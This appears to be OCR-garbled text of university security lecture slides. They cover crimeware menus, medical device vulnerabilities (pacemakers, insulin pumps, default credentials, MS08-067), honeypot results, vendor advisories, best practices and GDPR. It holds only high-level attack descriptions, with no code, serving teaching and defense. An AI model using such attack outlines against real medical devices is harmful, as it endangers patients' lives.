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Get a better price with good marketing...

Mac ke“'irﬁ

Obrazek: Zdroj: pinterest.com/itpie/it-jokes/
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The Real Deal (1or esay-cione)

24 Hour DDos
Socil Media Hacking Per Account 0104 56446
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Cell Phone Hacking/
Phreaking

Hack Group Bicin
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Medium-rge Jobs 0% ss8s

Russia Hackers
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http://www.scmagazine.com/snack-attack-a-crimeware-as-a-service-menu-for-wannabe-hackers/article/509166/
http://www.scmagazine.com/snack-attack-a-crimeware-as-a-service-menu-for-wannabe-hackers/article/509166/
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Other / Nomenclature

>

Evil maid attack, cold boot attack

Scareware, Rogueware, Malware, Adware, Phishing
attacks, ...

Botnets
MITM attacks, SSL Stripping
ATM Skimming (?video), Credit Card frauds

v

v

v

v
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Phishing fraud form

¥ Credit Card Profection

Obrazek: Nechejte si overit svou kartu ;)
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Other / Nomenclature

» lot — I0ST, loUT
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GAO'* to FDA™

GAO
MEDICAL DEVICES

FDA Should Expand Its Consideration of Information Security
for Certain Types of Devices
August, 2012

4US Government Accounting Office
5US Food and Drug Administration
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GAO'® to FDA

Threats for active (powered) devices:
» Unintentional

» Defective SW and FW
» EMG interference

18US Government Accounting Office
7US Food and Drug Administration
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GAO'® to FDA

Threats for active (powered) devices:
» Unintentional

» Defective SW and FW
» EMG interference

» Intentional
» Unauthorized access (altering signals)
» Malware
» DOS attack (battery depletion)

http://www.gao.gov/assets/650/647767.pdf

18US Government Accounting Office
7US Food and Drug Administration
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Vulnerable Cardiac device

Target: Implantable cardiac devices and pacemakers [2008]
» turning off

» issue life-threatening el. shocks

Obréazek: Pacemaker [SCOTT CAMAZINE / GETTY IMAGES]

http://healthland.time.com/2012/10/22/wireless-medical-devices-vulnerable-to-hacking/
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Vulnerable insulin pump

Target: Insulin pump [2011]
» scan for serial no.
» increase insulin dosage
» disable warning mechanism

Obréazek: Insulin pump

http://www.theregister.co.uk/2011/10/27/fatal_insulin_pump_attack
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GAOQO: Key control areas

» SW testing, verification and validation
» Risk assessments

» Risk management

» Access control

» Vulnerability and patch management
» Technical audit and accountability

» Security-incident response

» Contingency planning
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GAO: Key vulnerabilities

» Limited battery capacity

» Remote access

» Unencrypted data transfer

» Untested SW and FW

» Susceptibility to (EMG) interference

» Limited (nonexistent) authentication process and
authorization procedures

» Disabling of warning mechanism
» Design based on older technologies
» Inability to update or install security patches
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GAOQ: Key information security risks

>

Unauthorized change of device settings
Unauthorized change to or disabling of therapies
Loss or disclosure of sensitive data

Device malfunction

v

v

v
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FDA: Efforts

» Postmarket efforts

» MAUDE (adverse event reporting system)
» Postmarket studies conducted by manufacturers
» Manufacturers have to prepare annual reports
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S. Erven, M. Collao: Medical Devices: Pwnage and
Honeypots

S. Erven, M. Collao

Medical devices:

Pwnage and Honeypots
https://youtu.be/gX_dVv6LUTdo
September, 2015
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S. Erven, M. Collao: Medical Devices: Pwnage and
Honeypots

Phase 1 Research: Device vulnerabilities Problem: Mostly XP
» Weak default/hardcoded administrative credentials

» Treatment modification
» Cannot attribute action to individual
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S. Erven, M. Collao: Medical Devices: Pwnage and
Honeypots

Phase 1 Research: Device vulnerabilities Problem: Mostly XP
» Weak default’/hardcoded administrative credentials
» Treatment modification
» Cannot attribute action to individual
» Known SW vulnerabilities in existing and new devices
» Reliability and stability issues
» Increased deployment cost to preserve patient safety
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S. Erven, M. Collao: Medical Devices: Pwnage and
Honeypots

Phase 1 Research: Device vulnerabilities Problem: Mostly XP
» Weak default’/hardcoded administrative credentials
» Treatment modification
» Cannot attribute action to individual
» Known SW vulnerabilities in existing and new devices
» Reliability and stability issues
» Increased deployment cost to preserve patient safety

» Unencrypted data transmission and service authorization
flaws

» Healthcare record privacy and integrity
» Treatment modification
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Erven et al.: Medical Devices: Pwnage and Honeypots

Phase 2 Research: Network discovery Problem:
Misconfiguration in network
» Open SMB server
» Leaking network information (not only med.)
» Found hundreds of exposed 3rd party healthcare devices:
Anesthesia: 21, Cardiology: 488, Infusion: 133, MRI: 97,
PACS: 323, Nuclear med: 67, Pacemaker: 31
» These have used credentials...
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Erven et al.: Medical Devices: Pwnage and Honeypots

Phase 2 Research: Network discovery Problem:
Misconfiguration in network
» Open SMB server
» Leaking network information (not only med.)
» Found hundreds of exposed 3rd party healthcare devices:
Anesthesia: 21, Cardiology: 488, Infusion: 133, MRI: 97,
PACS: 323, Nuclear med: 67, Pacemaker: 31
» These have used credentials...
» ...however quite poor
» Knowning IP/Username/Office_no: Physical attack
feasible: Data extrusion, phising (Win XP), unlimited
attempts for pwd

» Win XP: MS08-67 vulnerability
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Microsoft Security Bulletin MS08-067 —

Vulnerability in Server Service Could Allow Remote Code
Execution (958644)

Published: October 23, 2008, Version: 1.0

This security update resolves a privately reported vulnerability in the
Server service. The vulnerability could allow remote code execution if
an affected system received a specially crafted RPC request. On
Microsoft Windows 2000, Windows XP, and Windows Server 2003
systems, an attacker could exploit this vulnerability without
authentication to run arbitrary code. It is possible that this vulnerability
could be used in the crafting of a wormable exploit. Firewall best
practices and standard default firewall configurations can help protect
network resources from attacks that originate outside the enterprise
perimeter.
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Microsoft Security Bulletin MS08-067 —

Vulnerability in Server Service Could Allow Remote Code
Execution (958644)

Published: October 23, 2008, Version: 1.0

This security update resolves a privately reported vulnerability in the
Server service. The vulnerability could allow remote code execution if
an affected system received a specially crafted RPC request. On
Microsoft Windows 2000, Windows XP, and Windows Server 2003
systems, an attacker could exploit this vulnerability without
authentication to run arbitrary code. It is possible that this vulnerability
could be used in the crafting of a wormable exploit. Firewall best
practices and standard default firewall configurations can help protect
network resources from attacks that originate outside the enterprise
perimeter.

> CVE-2008-4250
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Vulnerability Summary for CVE-2008-4250

Original release date: 10/23/2008, Last revised: 10/30/2012, Source: US-CERT/NIST

Overview The Server service in Microsoft Windows 2000 SP4, XP
SP2 and SP3, Server 2003 SP1 and SP2, Vista Gold and SP1,
Server 2008, and 7 Pre-Beta allows remote attackers to execute
arbitrary code via a crafted RPC request that triggers the overflow
during path canonicalization, as exploited in the wild by Gimmiv.A in
October 2008, aka "Server Service Vulnerability."

CVSS v2 Base Score 10.0 HIGH
Impact Subscore 10.0
Exploitability Subscore 10.0
ImpaCt Access Vector Network exploitable
Access Complexity Low
Authentication Not required to exploit

Impact Type: Provides administrator access, Allows complete confidentiality, integrity, and availability violation;
Allows unauthorized disclosure of information; Allows disruption of service

M. Bursa Security
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S. Erven, M. Collao: Medical Devices: Pwnage and
Honeypots

Phase 3 Research: Admin access Problem: default/hardcoded
credentials

» GE quickly responded...

8Common Vulnerabilities and Exposures
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S. Erven, M. Collao: Medical Devices: Pwnage and
Honeypots

Phase 3 Research: Admin access Problem: default/hardcoded
credentials

» GE quickly responded...

» ...(after research) that creds are not harcoded, but default
only...

8Common Vulnerabilities and Exposures
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S. Erven, M. Collao: Medical Devices: Pwnage and
Honeypots

Phase 3 Research: Admin access Problem: default/hardcoded
credentials

» GE quickly responded...

» ...(after research) that creds are not harcoded, but default
only...

» ...however about 30 CVEs'® up to 2006 proved them
wrong: Nuclear img, CT, Cardiology, Archiving, Analytics,
Audit, PACS, X-ray...

» about 2014 started to use SSL (encryption)

8Common Vulnerabilities and Exposures
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S. Erven, M. Collao: Medical Devices: Pwnage and
Honeypots

Phase 3 Research: Admin access

GE Login Credentials Word Cloud
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S. Erven, M. Collao: Medical Devices: Pwnage and
Honeypots

CommitStrip.com

Obrazek: Effective password policy
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S. Erven, M. Collao: Medical Devices: Pwnage and
Honeypots

Phase 3 Research: Admin access Problems:

» Documentation: in some cases: do not change, pwd resset
not allowed

» Documentation: Do not change pwd or we won’t support
you.

» Documentation not updated about how to change default
creds. Secure config guides lacking.

» Support personal often rely on implementation doc — these
logins are heavily utilized...
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Erven et al.: Medical Devices: Pwnage and Honeypots

Phase 4 Research: Honeypotting

» Mimic medical device external presence: Services,
connections strings, web frontends
» Replicate existing vulnerabilities: OS (MS08-067), App
level (Telnet RCE, VNC), Default creds (SSH, Web)
» Results with 10 honeypots
» Successfull logins: 55.416
Succ exploits: 24
Dropped malware samples: 209
Top 3 src countries: Netherlands, China, Korea
HoneyCreds login: 8
» Problem: usually talks to CC server
Outcome: Devices compromised by unintended attacs

M. Bursa Security
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S. Erven, M. Collao: Medical Devices: Pwnage and
Honeypots

Conclusion
» Medical devices are increasingly accessible due to the
nature of healthcare
» HIPAA'® focuses on patient privacy, not patient safety
» FDA does not validate cyber safety controls

» Malicious intent is not a prerequisite for adverse patient
outcomes

"Health Insurance Portability and Accountability Act
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S. Erven, M. Collao: Medical Devices: Pwnage and
Honeypots

Conclusion
» Medical devices are increasingly accessible due to the
nature of healthcare
» HIPAA'® focuses on patient privacy, not patient safety
» FDA does not validate cyber safety controls
» Malicious intent is not a prerequisite for adverse patient
outcomes

» Scan your biomedical environment for default credentials
» Report identified issues to manufacturer for remediation

"Health Insurance Portability and Accountability Act
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S. Erven, M. Collao: Medical Devices: Pwnage and
Honeypots

Conclusion
» Medical devices are increasingly accessible due to the
nature of healthcare
» HIPAA'® focuses on patient privacy, not patient safety
» FDA does not validate cyber safety controls
» Malicious intent is not a prerequisite for adverse patient
outcomes

» Scan your biomedical environment for default credentials
» Report identified issues to manufacturer for remediation

"Health Insurance Portability and Accountability Act
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Erven et al.: Medical Devices: Pwnage and Honeypots

Current state summary

» FDA recieves several hundred thousand reports of patient
safety issues per year

» Cyber safety investigations hamped by evidence capture
capabilities

» New devices are coming to market with long-known defects

» Existing devices are not consistently maintained and
updated
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Erven et al.: Medical Devices: Pwnage and Honeypots

Current state summary
» FDA recieves several hundred thousand reports of patient
safety issues per year
» Cyber safety investigations hamped by evidence capture
capabilities
» New devices are coming to market with long-known defects
» Existing devices are not consistently maintained and
updated
Recommended treatment summary
» Patient safety as the overriding objective
» Avoid filed practices and iteratively evolve better ones
» Engage internal and external stakeholders
» Safety into existing practices and governance

M. Bursa Security
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FDA/Abbott news 2017-09-07

» U.S. Food and Drug Administration (FDA) vydal zpravu o
svolavani 465 000 kardiostimulatorta firmy Abbott, dfive St.
Jude Medical, kvuli bezpecnostni chybé firmwaru, ktera
zpfistupnuje konfiguraci pfistroje...

» Aktualizace je nahranim noveho firmware.

» Problémy se St. Jude Medical se tahly jiz nékolik let. Firma
nespravné zavedla bezpecnostni politiku doporucenou jiz
nalezem probléma v roce 2014. V srpnu 2016 se objevila
informace o neopravenych zranitelnostech v jejich
kardiostimulatorech. A jiz v lednu 2017 o nich FDA vydala
upozornéni, které pfedznamenalo soucasny vyvoj.

Zdroj: https://www.root.cz/clanky/
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Siemens news 2017-08-15

» Firma Siemens varuje pred nedavno zjisténymi
zranitelnostmi ve svych zdravotnickych pfistrojich PET/CT,
SPECT (tomograficka scintigrafie) a SPECT/CT. Dvé nové
objevené zranitelnosti se tykaji pfistroji bézicich na
Windows XP a dalsi ¢tyfi chyby byly objeveny na pfistrojich
s operacnim systémem Windows 7.

» VSechny zjiS§téné problémy umoznuji itoCnikovi vzdaleny

pristup se spusténim Skodlivého kédu napfiklad vioZzenim

upraveného HTTP pozadavku na server Ci sluzbu

WebDAV. Siemens doporucuje pristroje odpoijit od sité a

pokud mozno je pouzivat samostatné a vyckat na vydani

aktualizace systému, na které se nyni usilovné pracuje.
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Philips news 2017-08-22

» Firma Philips varuje, Ze ve svém zdravotnickém softwaru
DoseWise Portal, jehoz cilem je pocitat a analyzovat
davku radiace béhem radiologickych vySetfeni pacientd,
nasla natvrdo naprogramované pristupové udaje do
databaze. Ta navic obsahuje ¢ast citlivych dat v prostém
textu. Firma tvrdi, Ze muze byt ohrozeno soukromi i
integrita citlivych dat pacientu.

» Do doby vydani aktualizace softwaru, ktera je planovana
jesté béhem srpna, firma doporucuje zajistit maximalni
bezpecnost sité a tam, kde je to mozné, zablokovat
databazovy port 1433.

Zdroj: https://www.root.cz/zpravicky/
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Philips news 2017-11-16

» Spolecnost Philips zverejnila informace o zranitelnosti v
systémech Philips IntelliSpace Cardiovascular a Xcelera
Cardiac Information Systems. ... Zminéné systémy slouzi
ke spravé obrazové kardiologické dokumentace ve
vysokém rozliSeni (ziskavani dat z CT, MR,
echokardiografie, katetrizaCnich sall, apod., zpracovani
DICOM formatu, poskytovani dat do externich PACSUQ,
apod.) a také jako archiv dat.

» Jadrem zranitelnosti jsou pristupové Udaje napevno
ulozené ve formé obycejného textu v systémovych

souborech...
Zdroj: https://www.root.cz/zpravicky/
chilipns—zanla 10— dinlogickv—co
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2016 Marin, Singelee, et al.

On the (in)security of the latest generation implantable cardiac
defibrillators and how to secure them

» Weak adversary, cheap setup
» Devices: Short- and long-range communication channels

» Able to fully reverse-engineer the protocols

» Vulnerabilities:

» Privacy attacks (only LFSR?° obfuscation)

» DoS attacks (remained in standby for 5 min, instead of
going to sleep). Can be activated via long-range comm
channel.

» Spoofing and replay attacks.

No integrity nor authenticity checks of the msg.
2L inear Feedbak Shift Register
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2016 Marin, Singelee, et al.

On the (in)security of the latest generation implantable cardiac
defibrillators and how to secure them

» Countermeasures:

» Jamming the wireless channel.

» Adding a ‘shutdown’ command (dev goes to sleep mode
directly)

» Key agreement protocol (master key in HW; might be a
risk(!) if revealed). Authors propose semi-offline protocol
(devs must be ensured to operate even in offline
environment)

» Diferentiate between device programmers and base
stations

M. Bursa Security
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Secure systems Testy

Secure systems

» Automated theorem proving (matematické dukazy)
» Jednoduché mikrokernely

Modularni mikrokernely (chyba ovlivni pouze pfislusny
modul, Hurd)

Kryptografie

Kryptografické procesory

Silné metody autentizace (systému)
Chain of trust

Mandatory access controll (odstranéni uzivatele ukonci
vS§echny jeho procesy)

» Capability and Acces Control List

v
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Secure systems

» Nepouzivat aplikace se znamymi chybami (0-day attack,
worms)

Zé&lohovani

Antivirovy software

Firewall

Systém ovérovani identity (hesla, Cipové karty, biometrie,
o))

» Sifrovani (PKI)

» IDS (pasivni n. reaktivni)

» network, user-, app-, host-, app. protocol-based, IPS,
Artificial immune system

» Informovanost uzivatelll o social engineering

M. Bursa Security
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Always back up!

MY CoMfUTER Poken'r
wek! Tic Uiep 7P You it
PRNE CEISIED! BACK LP? Wy eIt
WUAT Do T po?! GONNN BLEW?
)}
T iy =30
i 2
1172
= _/ﬁ g
f = ?/d//, <
T Crzy-Jokes.com wumfﬁ

Obréazek: Zdroj: pinterest.com/itpie/it-jokes/
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Best practices for bussiness, ISTR Symantec 2014

1. Employ defense-in-depth strategies

2. Monitor for network incursion attempts, vulnerabilities, and
brand abuse

3. Antivirus on endpoints is not enough

4. Secure your websites against MITM attacks and malware
infection

5. Protect your private keys
6. Use encryption to protect sensitive data

7. Ensure all devices allowed on company networks have
adequate security protections

M. Bursa Security
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Best practices for bussiness, ISTR Symantec 2014

8. Implement a removable media policy

9. Be aggressive in your updating and patching
10. Enforce an effective password policy
11. Ensure regular backups are available
12. Restrict email attachments

13. Ensure that you have infection and incident response
procedures in place

14. Educate users on basic security protocols

M. Bursa Security
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Best practices for consumers, ISTR Symantec 2014

1.
2.
3.
4.
5.
6.

M. Bursa Security

Protect yourself

Update regularly

Be wary of scareware tactics
Use an effective password policy
Think before you click

Guard your personal data
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Top ten for for bussiness, Ken Hess, 2013

1.
2.
3.
4.
5.
6.
7.
8.
9.
0.

Encrypt your data

Use digital certificates

Implement DLP?' and auditing

Implement a removable media policy

Secure websites against MITM and malware infections
Use a spam filter on email servers

Use a comprehensive endpoint security solution
Network-based security hardware and software
Maintain security patches

—_

Educate your users
hitptwww-zdnet-comi0-security-best-practice-guidelines-for-businesses-7000012088/

21 .
Data Loss Prevention
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Secure systems

Secure your systems!

MAKIMUM SECURITY ENTRANCE

Obrazek: Zdroj:
http://i.iinfo.cz/images/263/maximum-securitz-entrance-1-prev.jpg
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Top ten for for consumers, Ken Hess, 2013

1.
2.
3.
4,
5.

Always use antivirus software on your personal devices
Always use a device firewall

Keep your operating systems and software up to date
Never download pirated or cracked software

Don’t click on popup windows that tell you that your computer is infected with a
virus

Be careful with email attachments

Don’t use public wi-fi hotspots without using a VPN (secure) connection

Use passwords on everything and be sure that they re strong passwords
9. Beware of what kind of information you share on social media sites

10. Review your online accounts and credit report

© N o

http://www.zdnet.com/10-security-best-practice-guidelines-for-consumers-7000012171/
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Be informed!

"You should check your e-mails more
often. | fired you over three weeks ago."

M. Bursa Security
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Secure systems

Information leakage detection and protection
» Data Loss Prevention
» Information Leak Prevention
» Content Monitoring and Filtering
» Extrusion Prevention System

M. Bursa Security
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Attack tree

Analyza utoku

wirus infects

afile
virus run as an wirus run as
administrator normal user
Virus Virus run Other User downloads
exploits by an infected and runs infected
root hole admin programs naked binary

] S

Other infected wvirus infects Ad;mn dnwrfﬂnadz
rograms install package and runs infecte
P naked binary

Obrazek: Attack tree

M. Bu Security
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Secure systems

Hacked PC

Phishing Site Spam Zombie

DDoS Extortion Zombie:

Bot Activi

{HACKED PC)

Malware Download Site

Warez/Piracy Server Click Fraud Zombie

Webmail Spam

Stranded Abroad Advance Scams

Online Gaming Credentials
Web Site FTP Credentials
/VoIP Credentials
Client Side Encryption Certificates

E-Mail Attacks Account Credentials

Harvesting E-mail Contacts

Harvesting Associated Accounts

Access to Corporate E-mail

Bank Account Data
Credit Card Data
Stock Trading Account
Mutual Fund/401k Account

Bursa Security

Online Gaming Characters

Financial Credentials

Virtual Goods
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Adware use [Cisco 2017 Annual Cybersec Report]

» Inject advertising, which may lead to further infections or
exposure to exploit kits

» Change browser and operating system settings to weaken
security

» Break antivirus or other security products

» Gain full control of the host, so they can install other
malicious software

» Track users by location, identity, services used, and sites
commonly visited

» Exfiltrate information such as personal data, credentials,
and infrastructure information (for example, a company’s
internal sales pages)

M. Bursa Security
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Kentucky Fraud

nkrétniho Utoku Ze

Hlavni pokladnik statu Kentucky (US) mél
malware Zeus na svém pocitaci 06/2009

Podvodnici tak ziskali pristup k bankovnimu tctu

Otestovali jeho platnost a pres
Careerbuilder.com emailem nasli muly, 25 Zen ve
véku 35 let

Ty vybraly 9700% a 8700$ poslali na Ukrajinu
pres Western Union.

Celkem se ztratilo 415K $ za tyden.

Patick Zondi - Jok 0
W1 info curs-at

i matodém okrédénina Inernety
Patrick 126633200493015.

Obrazek: Kentucky Fraud
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Kentucky Fraud

2015 RECOGNIZED BOT ATTACKS

FAMILY DAMAGE PERCENT
SALITY Steals sensitive information 18.6%
CONFICKER Disabiles system security services, gains attacker remote access 18.6%
ZEROACCESS Allows remote operations and malware download 6.7%
CUTWAIL Spreads spam 51%
GAMARUE Opens a backdoor for attacks 3.0%
ZEUS - Stealsbanking credentals 0 2T%
LDPINCH Steals sensitive information 2%
DELF Steals authentication credentials 11%
RAMNIT Steals banking credentials 1.0%
GRAFTOR Downloads malicious files 0.9%

Obrazek: Zeus, Checkpoint Security Report 2016
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Kryptografie

» Symetricka Sifra: DES, AES, Blowfish, RC4, 3DES
» Asymetricka Sifra: DH, RSA, ElGamal, EC
» Sifrovaci klig

M. Bursa Security
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Kryptografie

>

Symetricka Sifra: DES, AES, Blowfish, RC4, 3DES
Asymetricka Sifra: DH, RSA, ElGamal, EC
Sifrovaci kli¢

v

v

Nutno zvazit silu a délku klice
Nutno zvazit moznost prolomeni (MD5, SHA1)

v

v

M. Bursa Security
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MD5 collision

https://shells.aachen.ccc.de/~spgq/md5.gif

M. Bursa Security
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MD5 collision

How it works...

The trick is to generate it one digit at a time. You generate
collision blocks after each frame so that you can swap out the
digits when you know the hash without altering the hash.

1. Generate a gif for each possible digit in the first column

2. Append collision blocks to each gif to make a 16 way
collision

3. Repeat for each digit
4. Hash the final product
5. Replace each digit with the correct digit

M. Bursa Security
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Secure systems

v

NX bit: HW zalezitost, Lze i SW — overhead

Windows — od WXP SP2 (DEP — Data execution
prevention)

Také ASLR, Code signing
Vétsinou neuginné proti ROP?2

v

v

v

22Return Oriented Programming
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Testy praniku

» Simulace Gtoku
» Pozor na pravni aspekty
» Black box, white box, gray box testing

M. Bursa Security
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Testy praniku

>

Simulace Gtoku
Pozor na pravni aspekty
Black box, white box, gray box testing

v

v

» Bezpecnostni audity
» problém: auditor muze ziskat pFistup k citlivym informacim
» etické hledisko: mlzZe takova firma zaméstnat byvalého
hackera?

M. Bursa Security
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Computer Security Career

Computer Security Career Paths
Path1 | “™ae™ | patn2
| Forensic Analyst | | Hacker |

i
[ Forensic Lab Director | | Criminal |
v
| chief Security Official | |  Convict |
2
20 Years
Years Highly-Paid Security Consultant l] (14 months

M. Bursa Security
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Z domova
Obecné
Diskuze

» 181/2014 Sb., ucinnost od 1. 1. 2015, pfechodné obdobi
» vyhoda: £dle 1ISO27000 (ISO27k)23

2
3http: //en.wikipedia.org/wiki/ISO/IEC_27000-series

4 s ..
Dalsi info: http://www.root.cz/clanky/cert-csirt-tymy-a-jejich-role/
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» 181/2014 Sb., ucinnost od 1. 1. 2015, pfechodné obdobi
» vyhoda: £dle 1ISO27000 (ISO27k)23

» kriticka informacni infrastruktura, vyznamny informacni
systém, vyznamna sit' el. komunikaci

2
3http: //en.wikipedia.org/wiki/ISO/IEC_27000-series

4 s ..
Dalsi info: http://www.root.cz/clanky/cert-csirt-tymy-a-jejich-role/
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v

181/2014 Sb., G¢innost od 1. 1. 2015, pfechodné obdobi
vyhoda: +dle 1SO27000 (1SO27k)23

kriticka informacni infrastruktura, vyznamny informacni
systém, vyznamna sit' el. komunikaci

v pripravé provadéci vyhlaska: stanovuje vyznamné IS

v

v

v

2
3http: //en.wikipedia.org/wiki/ISO/IEC_27000-series

4 s ..
Dalsi info: http://www.root.cz/clanky/cert-csirt-tymy-a-jejich-role/
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» 181/2014 Sb., ucinnost od 1. 1. 2015, pfechodné obdobi
» vyhoda: £dle 1ISO27000 (ISO27k)23

» kriticka informacni infrastruktura, vyznamny informacni
systém, vyznamna sit' el. komunikaci

» v pFipravé provadéci vyhlaska: stanovuje vyznamné IS
» CERT/CSIRT (Computer Emergency Response ]
Team/Computer Security Incident Response Team), NBU2*

2
3http: //en.wikipedia.org/wiki/ISO/IEC_27000-series

4 s ..
Dalsi info: http://www.root.cz/clanky/cert-csirt-tymy-a-jejich-role/
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Be methodic
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Obecné
Diskuze

T STARTED THE DAY WITH
LOTS OF PROBLEMS.

\
BUT NOJ, AFTER HOURS
AND HOURS OF WIORK,

|
T HAVE LOTS OF PROBLEMS
IN A SPREADSHEET.

J

M. Bursa
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» General Data Protection Regulation (EU 2016/679)

» (similar to UK Data Protectiono Act 1998 (DPA))
The regulation was adopted on 27 April 2016. It enters into
application 25 May 2018 after a two-year transition period and,

unlike a directive, it does not require any enabling legislation to
be passed by national governments.

M. Bursa Security
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» Controller. How an dwhy personal data is processed

» Processor: Acts on controller’'s behalf

» Personal data: Anything that might (even indirectly lead to
identifying a person, i.e.: Cookies, IP addresses

» Applies to both automated and manually filled personal
data.

» Personal data that are pseudonymized (e.g. key-coded)

can fall within the scope

Accountability

Breach notification: To supervisory auth. within 72 hrs

Data portability

Data Protection Officer

Citizens now have the right to question and fight decisions

vV vyYyywy

v
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Individual’s rights
The right to be informed

v

v

The right of access

v

The right to rectification

v

The right to erasure

The right to restrict processing
The right to data portability
The right to object

v

v

v
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Bezpecnost

Neni stav systému, je to proces:
Vyvijeji se nejen obrany, ale i hrozby. ..

application

Obrazek: Access Control

M. Bursa Security
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Always be prepared

You can chec?l
out any time
you ke, but
you can never
leove.

12010 Siephanie Millan oy

Obréazek: Zdroj: pinterest.com/itpie/it-jokes/
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Informace pro predmeét 33LI

» Info o zkouSce: Témata z této prednasky se objevi ve zk.
testu.

Dékuji za pozornost...

M. Bursa Security
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Checkpoint security report 2013

Our research shows that 75 % of hosts in organizations were
not using the latest software versions (e.g. Acrobat Reader,
Flash Player, Internet Explorer, Java Runtime Environment,
etc). This means that these hosts were exposed to a wide range
of vulnerabilities that could have been exploited by hackers.
Our research also shows that 44 % of hosts in organizations
were not running the latest Microsoft Windows Service Packs.
Service packs usually include security updates for the operating
system. Not running the latest versions increases security risk.
http://www.checkpoint.com/campaigns/
security-report/

M. Bursa Security


http://www.checkpoint.com/campaigns/security-report/
http://www.checkpoint.com/campaigns/security-report/

Z domova
Obecné
Diskuze

Zaver

Checkpoint security report 2013

2012 Top Vulnerabilities and
Exposures by Vendor

aprIQ

Security

M. Bursa
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Zaver

Checkpoint security report 2013

Security Events by Software Vendor
% of Organizations

1JOSOITN
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Zaver

Checkpoint security report 2013

Top Attack Vectors
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